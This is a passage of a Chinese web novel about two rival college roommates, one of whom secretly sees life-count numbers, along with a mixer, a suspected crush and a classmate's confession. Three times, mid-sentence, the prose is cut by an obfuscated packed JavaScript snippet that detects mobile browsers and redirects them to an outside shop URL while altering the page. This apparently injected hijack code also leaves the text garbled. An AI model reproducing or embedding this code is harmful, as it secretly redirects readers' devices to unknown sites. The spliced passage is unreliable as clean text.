说着说着,林杳忽然别过了头,把脸藏到一边,抬手擦了擦脸颊,动作像是在擦拭眼泪。 盛云阔简直惊呆了,他哪儿见过林杳哭啊,更别提为了自己哭。 此刻,盛云阔感觉林杳就算想要天上的星星,自己也得想办法给他摘下来。 “我答应你。”盛云阔脱口而出,“我以后再不乱来,一定好好保养身体。你、你先转过来好不好?” 刚才林杳鼻子有点痒痒,可能是粉尘刺激导致的,他想打喷嚏,又不太想在盛云阔面前出丑,就背身去揉了揉。 不料听见盛云阔的保证,林杳赶紧转过来,同时吸了吸鼻子:“真的?我最近得到了一点养生的好方法,应该有效果,你跟我一起实践,如何?” 见林杳鼻子都哭红了,盛云阔无可奈何,怎能不答应:“好。” “那你都得听我的。”林杳追加条件。 盛云阔点头:“嗯,你说啥就是啥,保证听话。” 11. 爱情的火苗 最近盛云阔活跃在一款名为“小绿书”的社交软件上。 他在上边分享了几个自制的游戏补丁包,小小收获了几百个粉丝。 趁着下课时间,盛云阔在回复粉丝遇到的下载问题。 张桦坐在他身旁,闲聊:“你这几天晚上怎么都不上线了,我还等你带我打Boss呢。” “还不是因为林杳。”盛云阔撇嘴,“他逼着我早睡早起,晚上十点半之前必须躺在床上就寝。” 张桦大惊:“你还真跟着林杳养起生了啊?咱们还没到二十岁,大好人生刚刚开启,都没疯狂一把,怎么就开始养生了?” 盛云阔无奈耸肩。 那天稀里糊涂答应林杳和他一起养生之后,没多久盛云阔就后悔了。 早睡早起饮食清淡好是好,让他身体通畅、精神抖擞,可也无聊啊!对他们这个年纪的大学生来说,十点,美好夜生活才算正式开始,其他人泡吧、打游戏、撸串儿,嗨得一批……他却不得不躺在床上和天花板干瞪眼。 “那晚上的联谊会你也不去了?”张桦问,“对面是艺术学院的女生哦。” 盛云阔关注的却是:“你们定的吃什么?” “烧烤。” “那不行。”盛云阔遗憾摇头,“烧烤太油腻,林杳不许我吃,养生汤锅还差不多。” 张桦叹为观止,喃喃:“你这么听林杳的话,感觉他就像是你的……” 盛云阔抬眼:“像什么?” 张桦:“像你妈。” 盛云阔:“……” 半晌,盛云阔狠狠咬牙,仿佛为了证明啥似的,坚决道:“我去,必须得去。” 联谊活动选在了学校附近的一家新疆烧烤店,十几个男生女生拼了个长桌,男女相对坐在桌子两边。 盛云阔本是想与张桦挨着坐的,结果混乱之间被组织活动的女生推到了另一个靠墙的位置,和张桦隔开老远。 盛云阔无所谓了,转头看见了坐在自己对面的女生。 居然是余婧。 余婧略显紧张地拨弄着自己的鬓边发丝,羞涩低下头。 上回在清泉山听说盛云阔有女朋友之后,她原本已经打算放弃的。可闺蜜前两天忽然特兴奋地对余婧说,她观察了盛云阔整整一周,没有发现他身边有任何走得近的女生,那个所谓的女朋友说不定根本不存在。 余婧说万一是外校的人呢?闺蜜却让她别想这么多,到底有没有,找机会打听清楚不就好了? 闺蜜说刚好有个联谊活动,她托人去请盛云阔,如果对方现身,不就说明他没有女朋友吗? 余婧被说服了,一直期待着今天。 见到盛云阔身影当真出现在餐厅的那一刻,余婧的心跳骤然变得飞快。 深吸一口气,余婧决定主动出击。 “嗨。”余婧微笑打招呼,“你还记得我吗?” 盛云阔点头:“记得。你上回参加了远足社的活动,去清泉山的所有物资都是你准备的,社长还夸你细心。社团人手不够,多谢你帮忙了。” 余婧有些受宠若惊。 两人毕竟不太熟,说了两句之后又沉默下来,氛围一时尴尬。 坐在他们旁边的一男一女倒是相处得分外自然。 女生面带愠色,埋怨道:“你今晚别喝冰啤酒,否则又要胃疼。” 男生笑得憨厚,听话把啤酒放回去。 那女生说话的语气唤起了盛云阔近几日挥之不去的某种记忆,他实在忍不住,侧头多瞧了那一对几眼。 余婧见盛云阔似乎很好奇,便探出身子,掩嘴小声为他解释:“他们俩对彼此都有意思,只差捅破那层窗户纸就可以在一起了。” 原来如此。 盛云阔福至心灵,也悄咪咪的小声,问余婧:“你说,如果有一个不是你父母的人,忽然很关心你的身体健康,是为什么?” 余婧愣神。 但很快她又恢复正常,回答:“那还不明显吗,她肯定是在意你、喜欢你呀。” “什……不可能!”盛云阔瞪大眼。 余婧的心好似被揪住,酸酸的,追问:“是有谁在关心你吗?同系的?” 盛云阔忽然口渴,慌张抓起茶杯:“没有、不是我,我帮一个朋友问的。” 几个人之外,张桦也刚刚放下茶杯。他小心翼翼看一眼对面的大美女,又急忙忙低下头。 运气太好了吧,居然和这么漂亮的女生分到了一组。 可是好紧张,要不会说话了…… 还好大美女不仅人美,性格更是爽朗明媚,她一拍脑袋,兴奋地说:“我认识你,你是信息1班的张伟对不对?” 张桦哽住。 --- 八点五十分,聚餐结束,众人在讨论下一摊去哪里,也有人没了兴致要回寝室。 联谊组织者在统计有哪些人要继续,过来问到盛云阔。 盛云阔原本想跟去下一趴,可一瞬间,他脑海里莫名浮现出林杳冷着脸站在门口,拿出手机质问喝得烂醉偷偷回家的自己知不知道现在几点了的样子。 盛云阔当即道:“我不去了。” 余婧的闺蜜恰好站在不远处,听见盛云阔说要走,眼珠一转,想到一个绝妙的主意。 闺蜜挽着余婧的手臂,拉着她来到盛云阔面前,提议:“恰好婧婧也要回去,盛同学,不如你送她到寝室吧?” 余婧吓了一跳,拽住闺蜜,小声表示:“别这样!” 闺蜜不明白:“我看你吃饭的时候和他聊得不是挺好吗?” 见状,盛云阔就是榆木脑袋也该品出一点意思了。 可他该怎么拒绝?如果答应送余婧回去,岂不是会给她传达错误信息?但要是不答应,那又太伤面子了。 思考片刻,盛云阔说:“你俩是一个寝室的对吧,不如我一道送你们俩回去,也安全。” 闻言,余婧和闺蜜都吃了一惊。 闺蜜还想争取:“啊,我就不用了,我跟他们去……” 余婧把闺蜜拉到身后,直面盛云阔,说:“那多谢了。” 三人一同回学校,路上,两个女生自然挽着手走在一起,盛云阔落后两步,和她们保持着距离。 烧烤店到女生寝室楼只有十五分钟路程,盛云阔把她俩送到目的地,朝她俩挥手告别。 余婧使劲拉住闺蜜往寝室走去,闺蜜颇为不甘心,一步三回头去看盛云阔。 两人走进寝室楼之后,闺蜜终于忍不住,甩开余婧的桎梏,焦急地问她:“你怎么了,盛云阔来参加联谊,显然是没有女友啊,你怎么临到头又怂了?” 余婧叹气:“他有没有女友都无所谓了。他刚才的意思还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437363|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显吗,他不喜欢我,为了不让我误会,才专门提出要送我俩一起回来。我何苦再贴上去。” “那是因为他还不了解你啊。”闺蜜说,“我觉得他真挺不错的,长得帅成绩好,也没有过什么不清楚的关系,你怎么就不知道争取呢?” 余婧拍拍闺蜜的肩:“好啦,知道你替我可惜。但我也不想强求一个不喜欢我的人和我在一起。难道你闺蜜我不值得一个全心全意喜欢我的男生吗?” 她说得太有道理,闺蜜无话可说,弱弱道:“好吧,我只是可惜。” --- 寝室楼外,盛云阔呼吸着夜间微凉的空气,夹杂了淡淡草木的气息,身心舒畅。 他猜到余婧应该是喜欢自己,虽说自己已经算委婉拒绝了对方,但不妨碍他因为收获异性的喜欢而感到开心。 被喜欢本就是一件会让人惊喜的事,何况余婧长得漂亮人又好。 当然偷着开心是一回事,盛云阔也不会因为这个就和余婧在一起。他很确定自己对余婧没有那方面的喜欢。 不过说起来,自己到底喜欢什么样的女生呢? 盛云阔一时半刻还真想不出来。他前十八年的人生,几乎把全部的精力都拿来和林杳较劲儿了,根本没时间考虑情窦初开那点事。 果然大学还是应该谈一场恋爱才能算是圆满啊。 “叮——” 手机响起,打断了盛云阔的少男怀春。 林杳:【你要谈恋爱吗?】 盛云阔:!!! 林杳这句话没头没尾,盛云阔猛地一瞧,差点被自己的口水呛死。 他赶紧打字追问:【你说这话什么意思?】 林杳:【无意偷看,纯属偶遇。我看见你送女孩子回寝室了。你是要谈恋爱了吗?】 看见这条消息,盛云阔立即抬头,四处环视,果真在几十米开外的路灯下看见了林杳。林杳还面无表情地朝他招了招手。 盛云阔冷笑,发送:【怎么,羡慕哥的魅力?】 林杳:【正在输入……】 盛云阔死盯着屏幕,他也不知道自己为什么非要这样等待林杳的回答。 林杳会说什么? 他打字怎么这么慢? 靠,怎么还停下来了? 终于—— 林杳:【没有。我只是觉得现在对你来说或许不是谈恋爱的好时机。】 盛云阔:【切,胡说八道。你就是嫉妒哥有人喜欢。】 林杳:【……总之我劝你暂时不要谈。】 盛云阔:【为什么,和你有关系吗?】 发过去之后,盛云阔等了一分钟,终究没能等到林杳的回复。 盛云阔又抬起头去找林杳,却发现刚才的地方已空无一人,林杳走掉了。 啧。 事情的走向越来越奇怪了。 最近这一个月,林杳就像是变了一个人似的。先是宣布要退出和自己的竞争,接下来又莫名其妙地特别关心自己的身体,现在甚至演变成大晚上跟踪自己,还百般阻挠自己谈恋爱。 不仅如此,林杳还为之前从未关心过的同性恋群体强烈发声,说什么他们喜欢谁是他们的自由之类的话。搞得好像他也是个同性恋似的—— 卧槽…… 盛云阔瞳孔地震。 不、不会吧? 12. 宿敌就是宿敌呀 被女孩子喜欢让人惊喜,可若是被较劲了十八年的死对头喜欢,那就是惊悚了。 现在时间,凌晨00:30。 盛云阔躲在被子里,鬼鬼祟祟编辑着一段文案。 【求助,和我作对了十多年的宿敌忽然关心起我的身体健康,每天早起给我做饭,还因为有人喜欢我而生气,他这是怎么了?】 拇指悬停在“发送”按键上许久,盛云阔终于心一横,闭上眼,仿佛那个按钮是核弹发射键般,毅然决然地敲了下去。 盛云阔在小绿书上多少有那么些粉丝,流量还不错,很快就有了评论。 【网友A:这还不够明显吗?他馋你身子,想把你养肥了吃掉。】 盛云阔:…… 【网友B:我以为你是男的,没想到居然是萌妹子?】 盛云阔:【我是男的。】 【网友B回复:啊?我看你写的宿敌是“他”,哦,我懂了,你们是男同!】 盛云阔扶额。 【网友C:宿敌就是宿敌呀,宿敌是不可以变成妻子的,如果宿敌变成了妻子,那你们只能在床上甜甜蜜蜜……啊不对,我是说,妻子只能是宿敌……】 盛云阔:??? 【网友D:怀疑是秀恩爱。】 【网友E:别是引流吧,引流的吃泡面没调料。】 【网友F:太太继续说,饭饭,香香!】 帖子收获了意料之外的热度,后面各种各样的人都涌了进来,盛云阔看得头疼。 但无论来了多少人,反正所有人都觉得他俩不清白。 这下,即便真相再荒谬,盛云阔也不得不相信了。 ——林杳他,真的喜欢自己。 可恶,事情怎么会变成这样。果然太有魅力也令人苦恼,自己该如何拒绝林杳? 两家的长辈交好多年,尤其自己外婆特别喜欢林杳这小子,几乎把他当亲孙子,要是和林杳闹掰了,自己放假回去怎么交代? 虽说以前俩人关系也不好,是仇敌。但大人眼里,小孩子互相掐架根本不算什么,握个手还是能和好。 但现在夹杂了复杂的感情,事情又不一样了。林杳喜欢自己,自己拒绝,他们之间就会永远有个结在那儿。 盛云阔无法想象以后大年三十他和林杳坐在一起看春晚会有多尴尬。 由于思考太过沉浸式,盛云阔没能注意到有一只手忽然从自己身后伸了出来,精准地握住了他的手机,使劲儿往外一抽,便把手机夺了过去。 这架势跟午夜凶铃似的,盛云阔差点吓死,弹跳起身,转头才看见林杳不知何时跪在了床边,他手里捏住自己的手机,表情不悦。 “又熬夜是吧?” 见到是林杳不是鬼,盛云阔先是松了口气。 但随即他想起了自己帖子的内容,蓦地慌张起来,伸手便要去抢回手机。 林杳往后退去,把手机背在身后,死死攥紧,不撒手。 盛云阔原本想强行去抢,可手机在林杳身后,要拿的话,就得把林杳抱住。 那姿势太吓人了,盛云阔想想就头皮发麻,再不敢动。 “我马上就睡,你把手机还我。” 盛云阔宛如一名正在与绑匪交涉的警察叔叔,谨慎地要求林杳绑匪释放手机人质。 那神情紧张得林杳一下子就发觉不对劲。 林杳挑眉,问:“你这么紧张做什么?在和女孩子聊天?就是今晚那个对不对?” “不是!就算是又怎样,和你有关系吗,你为什么这么在意?”盛云阔做贼心虚,伸出手,“把手机给我。” 林杳被他劈头盖脸吼了一顿,默然瞬间,而后冷哼:“你觉得我管太宽了对吧?” 说罢,林杳将手机轻飘飘扔在床上,转身走到门口,回首:“明明是你自己答应过我的,现在又后悔了。那随便你吧,你是死是活我再不管了。” “碰——!” 门被重重甩上。 盛云阔呆坐在床上。 完了,林杳恐怕还不是一般的喜欢自己。 --- 图书馆内,林杳做完课后作业,点开了文件夹中一个名为“遗书”的文档。 近段时间以来,林杳有空就会写写遗书,想到什么就往里面添几句。 今天没有要增加的内容,林杳只是略看看,改了几个标点符号,又打开另一个标题写着“遗愿清单”的文档。 林杳把清单上的“喝酒”与“逃课”两项打了勾。 当然,好学生林杳此前并未将逃课纳入过遗愿清单,不过既然已经逃过了,那么写上去也不是不可以。 盯着清单内的待办条目,林杳心情愈发沉重。 头上的数字就像是达摩克利斯之剑,不知何时便会发作,带来死亡。 昨晚自己生盛云阔的气,怕也是由于死亡当前,自己变得越来越焦躁了。 提前知道自己即将面临的命运并非是件好事,因此林杳不打算告诉盛云阔生命值的事情。 盛云阔全然无知,不愿意养生很正常。人类只有在面临死亡威胁的时候,才会骤然意识到生命的可贵。 盛云阔想谈恋爱也正常,毕竟几乎所有人都想要在大学谈个恋爱。 林杳之前没想过恋爱,他不感兴趣。 可若是自己当真到死都没有体会过爱情这种人类歌颂了上千年的东西,似乎又的确有点遗憾。 算了,想什么呢,自己都要死了,何苦再拖累另一个无辜的人? 林杳叹了口气,关闭文档,把乱七八糟的思绪团吧团吧扔出大脑。 “嗨,下午好啊。” 有人对林杳打招呼,他抬眼,看见了笑眯眯的沈安格。 “好巧。”林杳说。 “不巧。”沈安格从怀里掏出个盒子,放在桌上,“我猜到你会在图书馆自习,专门来找你的,为了把这个给你。” 那盒子四四方方,巴掌大,包装得相当精致,左上角点缀了个蝴蝶结,一看便晓得是礼物盒。 林杳不解:“这是?” 沈安格道:“送你的礼物,拆开看看?” 林杳想拒绝,沈安格看出他的意思,抢先拿起盒子,直接拆开。里面装着一副蓝牙耳机。 “收下吧,我从刚入学就注意到你了,想和你做朋友,可你看起来太高冷,我一直没敢搭话。你若是收下,就算承认咱俩是朋友了。如果拒绝,就代表你反感我,那我保证以后再不出现在你面前。” 林杳没想到他会如此郑重其事。 实话实说,林杳一开始确实没想跟沈安格交朋友。不过自己既然为了学习沈安格的生活习惯而接近了他,总不能冷血到利用完就把人踹掉吧。 于是林杳接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437364|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过耳机,摩挲两下,说:“多谢。” 沈安格喜上眉梢:“太好了。” 林杳把耳机装进包里,又说:“今晚一起出去吃饭吧,我请客。算是为上回我爽约向你道歉。” 沈安格惊喜万分,当即答应。 --- 火锅店内,麻辣锅底的香气满屋子弥漫,霸道地浸染进了每一个来访食客的衣服。 盛云阔面前的锅子已经煮开,可他约的人却迟到了,他只能坐在位置上玩手机消磨时间。 又过去几分钟,终于来了一位身穿衬衫,胸前还挂着蓝绳子工牌的男人,满面歉意在盛云阔对面坐下。 “抱歉迟到了,你没等太久吧?” “没。”盛云阔摇头,收起手机,“刚好锅开了,直接就能下菜。” 肖覃挽起袖子,问:“咱们挺久没见面了。怎么林杳没来?” 肖覃是盛云阔和林杳高中时的学长,大他们两岁。高中时三人没有交集,是等到盛云阔和林杳录取结果出来之后,肖覃作为直系学长才联系上的他俩。 盛云阔自带交际技能,见过几面就和肖覃混熟了,俩人还经常一块儿打游戏。 “我没叫他。”盛云阔说,“主要是我自己有点事儿想请教你。” “什么事?”肖覃边放香菜边问。 盛云阔沉默,不知道该如何开口才不唐突。 他约肖覃,是因为肖覃是他朋友圈内唯一一个已知的、且关系不错的gay。 其实盛云阔也不知道自己想问什么,问该怎么才能润物细无声地让林杳放弃喜欢自己吗? 盛云阔在内心天人交战着,肖覃一无所知,下了菜,习惯性拿起手机瞧起来。 忽然,肖覃看见一条朋友圈,停下了往下滑的动作。 “我大概知道你想问我什么了。” 盛云阔懵:“嗯?” 肖覃转过手机,递给盛云阔看。 盛云阔看见了一张照片:高档餐厅内,林杳与沈安格脑袋靠着脑袋合影。沈安格笑得春心荡漾,林杳勉强勾了勾嘴角。 盛云阔脱口而出:“他怎么真跟这家伙去吃饭了!?” “哦对,沈安格也是大一的,你们应该认识他。”肖覃指着沈安格介绍,“他在圈子里蛮有名的,小少爷,男友跟韭菜似的一茬又一茬。” 盛云阔:“我知道他。” 肖覃好奇:“林杳和他在一起了吗?你约我是不是就是因为发现了林杳喜欢男人,觉得别扭?” 盛云阔别开眼:“算是吧……” “哈哈哈。”肖覃爽朗一笑,“没什么好别扭的,gay又不是见到一个雄性就会扑上去,你别担心过头了。” “而且你是直男啊,gay一般懒得招惹直男,麻烦又自讨没趣。”肖覃耸肩。 盛云阔哑口无言。 肖覃说了这番话之后,自己要是再说林杳真的喜欢自己,岂不是显得特别普信? 肖覃托着腮,感慨:“啊——早知道林杳也是,我就应该去试试了。之前没看出来,我的雷达坏掉了吗?” 盛云阔正在喝茶水,闻言:“噗!” 肖覃看向他:“怎么?林杳长得很好看啊,你不觉得吗?” 好看吗? 盛云阔低头再看了一眼照片。 还……还好吧,顶多算蛮顺眼而已嘛。 13. 划清界限 “拍完了,我可以发朋友圈吗?” 沈安格坐回对面自己的位置,征求林杳的同意。 林杳无所谓:“发吧。” 沈安格很高兴,连图都没有精心P,用了个智能美颜,便迫不及待发了朋友圈。 还配了个超绝暧昧的文案:【和他。】 当然,林杳对这一切都全然不知,他只关心牛排冷了就不好吃了,叉起一小块放进嘴里,嚼嚼嚼。 两人吃饭的餐厅正是上回沈安格约好但没去成的地方,预约制,安静又高端,桌面上还摆着娇嫩欲滴的粉玫瑰。 林杳趁开餐前上厕所的时候了解了一下这里的人均消费。 起码要五百多一个人,今晚吃完,没有四位数下不来。他本月生活费光荣泡汤。 还好林杳自己有小金库,否则接下来半个月他就得喝西北风了。 但高端餐厅服务确实没得说,对得起那百分之十的服务费。 比如现在,一名身穿燕尾服的男子就拿着小提琴走了上来,摆好架势,朝客人们点头致意,动作优雅地开始演奏。 林杳扫了一眼,有点犯恶心。 他对小提琴过敏,因为从五岁开始,老妈就逼着他学小提琴,说什么要他接受艺术的烟熏。 林杳干别的都还行,但无论如何都找不到拉琴的诀窍,拉出来的音符像是被屁崩过似的,不堪入耳。林杳折磨了老师整整八年,终于把老师逼得罢了工。 樊灵女士原本还不甘心,但在老师的以死相逼下,她长叹一口气,说算了,不强迫孩子,拉不好就当培养气质了。 林杳抬手扶额,拼命对抗着恶心,对面的沈安格却忽然抓住了他的手。 林杳疑惑看去,发现沈安格竟然换上了一副深情款款的表情。 沈安格感觉自己的心跳从来没有这么快过,他吞了吞唾沫,说出的话差点打颤: “林杳,其实我骗了你。我不想和你只做朋友,我……我喜欢你。” 林杳一双眼睛睁大,似是没听懂般,望着沈安格许久。 “你愿意做我的男朋友吗?”沈安格追问。 林杳捂嘴:“哕!” 晚上的餐点里放了芝士,而且过分油腻,对吃了快一个月清淡饮食的林杳的肠胃来说实在负担不起。 再加上那令人反胃的小提琴,林杳忍了又忍,终于忍不住,干呕起来。 见状,沈安格都快哭出来了。 但他不得不强撑着,体贴地递给林杳餐巾,问:“你怎么了,哪里不舒服吗?” 林杳用餐巾遮住嘴,抱歉地抬手示意,接着赶紧冲去厕所。 独留沈安格一个人坐在位置上,不可置信地发愣。 什么意思……林杳听见自己的告白,然后恶心得吐了? 不至于吧,不愿意的话拒绝自己就好了啊,需要反应这么激烈吗? 沈安格一辈子顺风顺水,在这一刻,他受到了前所未有的冲击。 五分钟后,林杳回到位置上,他已经将自己整理好,看不出吐过的痕迹。 “对不起。”林杳解释,“可能是饭菜有点油腻,我肠胃不适。” 沈安格苦笑:“嗯……你没事就好。” “你说你喜欢我是吗?”林杳问。 听他重新提起这个话题,沈安格紧张到嗓子发痒,想喝点手边的红酒润润。 林杳毫无波澜地说下去:“但是我并不喜欢你,不能和你交往。今晚就到这儿吧,我想我应该回去了。” 说完,林杳起身,接着他想起什么,拿出沈安格送自己的蓝牙耳机,放在桌上,推过去:“这个还给你。” “林杳!”沈安格抓起耳机盒,追了上去。 也不知道林杳腿到底有多长,没一会儿便走到了餐厅前台买单,沈安格跑了几步才追上。 沈安格拦住林杳:“礼物是送给你的,没有收回去的道理。” 耳机又被塞回了林杳的手中。 林杳还没来得及再开口,沈安格就略显紧张的再度说:“是我唐突了,你就当今晚我什么都没有说过,咱俩继续当朋友好吗?” 林杳不太懂,当朋友不会尴尬吗? “别拒绝我。”沈安格说,“我是真的欣赏你。不想为了这点事就和你绝交,我保证再也不会对你说喜欢你之类的话,好吗?” 他态度都如此谦卑了,林杳没办法再狠心拒绝,只能妥协:“好吧。” 待林杳付过账单之后,两人一同离开。 走在夜空下,无人说话,林杳不可避免地嗅到了些许尴尬的氛围。 半晌后,沈安格忽然出声:“林杳,作为朋友,我可以再问你一个问题吗?” 林杳点头:“你说。” “你拒绝我,是因为喜欢盛云阔吗?” 万籁俱寂。 林杳歪了歪脑袋,沈安格是在说外语吗,怎么忽然他就听不懂这人在说什么了? 喜欢盛云阔,这几个字组合在一起,对林杳来说堪比惊悚片。 “不。”林杳大脑处理了很久才输出答案,“我不喜欢任何人。” 沈安格没来由松了口气。 好歹他没有输给盛云阔那个臭屁男不是吗? --- “阿嚏!” 刚从火锅店出来,盛云阔打了个喷嚏。 肖覃递给他一张纸巾,贴心叮嘱:“天凉了,还有一个月京市就该下雪了,早晚别贪凉,多穿点。” “多谢。”盛云阔瓮声瓮气,擦擦鼻子。 其实他不冷,尤其刚刚才吃过火锅,身上暖烘烘的,天晓得为什么会打喷嚏。 两人继续走在回学校的路上。 肖覃提起:“上回你写的那个程序我发给领导瞧了,他说挺不错的,问你愿不愿意去实习。” “行。”盛云阔倒不意外,他对自己的作品有信心,“谢了。” 肖覃“嗐”了一声:“顺手的事。不过我觉得你才大一,没必要急着实习,以后上班的日子多着呢,不如趁现在好好玩玩儿。” 一阵秋风吹过,盛云阔哆嗦起来,总算察觉到了冷。 他把手插兜里,回答:“我毕业打算立即工作,希望能去个待遇好点的大厂,提前刷刷履历比较好。” 肖覃吐槽:“大厂很卷的,我不过是个实习生,都经常加班。” “工资高嘛,正常。”盛云阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437365|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑笑,“我家里人还等着我早点上班赚钱养家呢。” 闻言,肖覃意识到盛云阔可能家境不大好,便知情识趣地转移了话题,没再多口舌。 --- 盛云阔回到家,打眼猛地看见林杳只开了一盏小夜灯,静静地坐在沙发上,吓了一跳。 “我在楼下看没开灯,还以为你没回来呢。” 林杳从书本中抬起眼,直勾勾看向盛云阔。 小夜灯光芒暖黄,均匀而温柔地洒在林杳的半边脸上,把他本就比常人长一些的睫毛影子拉得更挺翘。林杳五官长得极好,眼睛大而有神,鼻梁挺拔,按照一种相当符合人类审美的比例分布在巴掌大的脸上,没人能违心说他丑。 这一刻,房间内安静极了。 盛云阔后知后觉自己之前似乎从未认真看过林杳的长相。今晚肖覃说过的话在耳边重新响起。 林杳……长得确实挺好看的。 盛云阔脑袋里不知不觉冒出这句话。 他、他的意思是,对女生和那些给子们来说,林杳长得挺有吸引力的……吧?至于自己这样的男性嘛、谁会关心另一个男性长得好不好看呢,对不? 林杳不说话,盛云阔仿佛浑身虫子爬,不得不率先开口缓解气氛:“这个点你平时不都已经准备睡了吗,今天怎么还在外面?” “在等你。”林杳平静道。 盛云阔呼吸一窒,心脏都差点忘了跳。 随即他反应过来,想抽自己嘴巴子,让你多嘴,问问问,问个屁,和往常一样直接回房间不就得了。 “过来坐。”林杳拍拍沙发,“我有话对你说。” 盛云阔顶着压力坐了过去,并且十分谨慎的与林杳隔开了半个身位,进可攻退可守。 等他坐下,林杳转过头,注视着他说:“昨晚的事,对不起,我没有控制好自己的脾气,不应该摔门的。” 盛云阔慢半拍,不太明白为什么林杳总会在意这种小事。 林杳继续说到:“我以后不会再对你的生活方式指手画脚了。你想要熬夜也好,想吃宵夜也好,或者想要谈恋爱也好,我都不会再干涉。” 盛云阔听着不太舒服,蹙眉:“你这话什么意思?” “字面意思。”林杳起身,“说到底我与你的关系也没好到什么份儿上,我没有权利管束你,之前是我越了界,以后不会了。” 说罢,林杳关掉小夜灯,拿着书本回到自己的房间。 “咔嚓。” 房间门被轻轻关上。 关门后,林杳靠在门板上,长舒了一口气。 以后还是换一种没那么讨人厌的方式劝盛云阔珍惜生命吧。 要林杳彻底放手不管,他自问做不到。他只要想到可能会目睹盛云阔把自己浪死的场面,就没办法不难过,就忍不住要管。 毕竟认识了这么久,就算是养的一只小狗,也会不舍得。人之常情。 外面,漆黑的客厅内,盛云阔一动不动地坐着,大脑彻底宕机。 林杳刚才那番话什么意思? 是不喜欢自己了,要和自己划清界限的意思吗? 不是,这就不喜欢了?自己干啥了? 14. 生日派对 “好了,今天周五,知道你们着急出去玩,就提前五分钟下课吧。” 和蔼可亲的老教授说完,激起教室内掌声雷动。 林杳收拾书包要走,坐在他后边一排的沈安格先拦住了他。 “林杳,周末有什么安排吗,我想请你去参加一个别墅派对。”沈安格说。 林杳盯着他脑袋上的数字瞧了会儿。 336。 没记错的话,又涨了一点。 林杳已经麻了,看来人与人的体质真的不可一概而论。 “我周末想把这周的课程内容总结一下,就不去了。”林杳拒绝到。 “不愧是学霸。”沈安格指了指自己,“其实这周末是我的生日,这是我的庆生派对,我很希望你可以来参加。” 林杳流露出一丝意外,略带歉意:“生日快乐,我不知道,没给你准备礼物。” 沈安格摆摆手:“如果你能赏脸参加派对,对我来说就是最好的礼物了,去吗?” 林杳斟酌起来。 不知为何,在面对沈安格的时候,林杳总有那么点似有若无的愧疚感。 可能是因为沈安格在自己面前的姿态总是那么低,也可能是因为自己拒绝了他的告白,所以生出了莫须有的补偿心理。 所以林杳没办法,答应道:“好吧,什么时候出发?” 沈安格双眼骤然亮起来,激动道:“太好了,我们今晚就出发,在别墅住两天两夜,周一上午返程。” “那我回家收拾点换洗衣服。” “嗯,咱们一小时后,你家楼下见。” 林杳回到家,发现盛云阔没在,愣了一会儿,才想起来他们班比较倒霉,上的是周五最后一节晚课,七点半到九点,所以还没到下课时间。 大概装了几件衣服,林杳背着包下楼。 一辆刚洗过干净到反光的暗蓝色跑车张扬地停在楼道口,与年久破旧的家属楼形成强烈对比。 沈安格摇下车窗,朝林杳喊到:“上车!” 原来是沈安格的。林杳走到车前,习惯性想坐后排,但沈安格主动要求他坐前边。 见林杳当真听话地坐上副驾驶,沈安格莫名有些激动。 这位置林杳坐过了,他要保护起来,以后再不许其他乱七八糟的人坐自己副驾! 别墅在市郊,开车需要将近两个小时,又是周五下班高峰时间段。百公里加速只需要几秒钟的豪华跑车也不得不和其他几万块的突突小二手堵在高架上龟速前行。 因此到达目的地时已是深夜,草丛中夜虫叽叽鸣奏。 沈安格停下车,回头,看见林杳已经歪着脑袋睡着了。他没来由嗓子痒痒,吞了吞口水。 若要他比喻,林杳长得就如同天上月,清冷但温柔,浑身散发着莹白的光辉……好吧,主要是皮肤白,而且没有瑕疵,就很好看。 沈安格悄默声拿出手机,关闭快门声,偷拍了两张林杳的睡颜,才拍拍林杳,把人叫醒。 “咱们到了。” 林杳醒过来,懵懵的和沈安格一同下车,进入别墅。 进入客厅,林杳瞌睡也醒了,便听见一阵喧闹。沈安格的其他朋友们已经到了,正聚在客厅喝酒玩游戏。 沈安格带林杳过去认人。 到场的有四男两女,林杳认识其中一男一女,都是本校的人,不过没说过话。 双方认识过后,林杳对沈安格说:“我想去房间睡了,你带我去吧。” 沈安格当即应下,殷勤带林杳去了楼上的房间。 等安顿好林杳,沈安格嘴角噙着笑意回到客厅,被朋友们看到,发出“哦~~”的起哄声。 “瞧你那没出息的样子。”一男生调侃,“怎么样,这一个准备玩多久?” 沈安格生气:“话别说的那么难听,更别让林杳听见。我是真喜欢他,认真的。” “认真的?你爸还能准你带个男人回家?哈哈哈!” 沈安格狠狠瞪向他:“喝酒都堵不上你的嘴。” 男生摆摆手,表示不说了,但脸上的笑意仍止不住。 --- 楼上房间内,林杳简单冲了个澡,实在抵挡不住睡意,潦草吹了个头发就裹上床准备睡觉。 